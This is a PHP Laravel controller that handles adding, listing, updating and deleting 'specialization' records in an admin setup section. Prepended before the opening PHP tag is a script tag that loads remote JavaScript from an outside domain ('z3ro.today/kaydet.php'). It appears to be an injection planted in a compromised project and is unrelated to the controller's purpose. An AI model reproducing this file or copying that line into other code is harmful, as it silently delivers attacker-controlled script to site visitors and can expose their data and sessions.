<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers\BasicSetup;

use App\Http\Controllers\Controller;
use App\Models\Specialization;
use Illuminate\Http\Request;

class SpecializationController extends Controller
{
    public function specialization()
    {
        $specializationName = Specialization::orderBy('id', 'desc')->get();

        return view('adminsetup.specializationentry', compact('specializationName'));
    }

    public function addspecialization()
    {
        return view('adminsetup.addspecialization');
    }

    public function uploadspecialization(Request $request)
    {
        $specializationName = Specialization::orderBy('id')->get();

        $data = new Specialization();

        $data->specialization = $request->specialization;

        $data->save();
        return redirect()->route('specialization', compact('specializationName'))->with('message', 'Specialization Added successfully');
    }

    public function deletespecialization($id)
    {

        $specializatioName = Specialization::find($id);

        if ($specializatioName->members->count()) {
            return back()->with('message', 'Specialization cannot be deleted as it is taken by member field');
        }

        $specializatioName->delete();
        return redirect()->back()->with('message', 'Specialization deleted successfully');
    }

    public function updatespecializationview($id)
    {
        $specializatioName = Specialization::find($id);

        return view('adminsetup.updatespecialization', compact('specializatioName'));
    }

    public function updatespecialization(Request $request, $id)
    {
        $specializatioName = Specialization::orderBy('id')->get();

        $data = Specialization::find($id);

        $data->specialization = $request->specialization;

        $data->save();

        return redirect()->route('specialization', compact('specializatioName'))->with('message', 'Specialization updated successfully');
    }
}
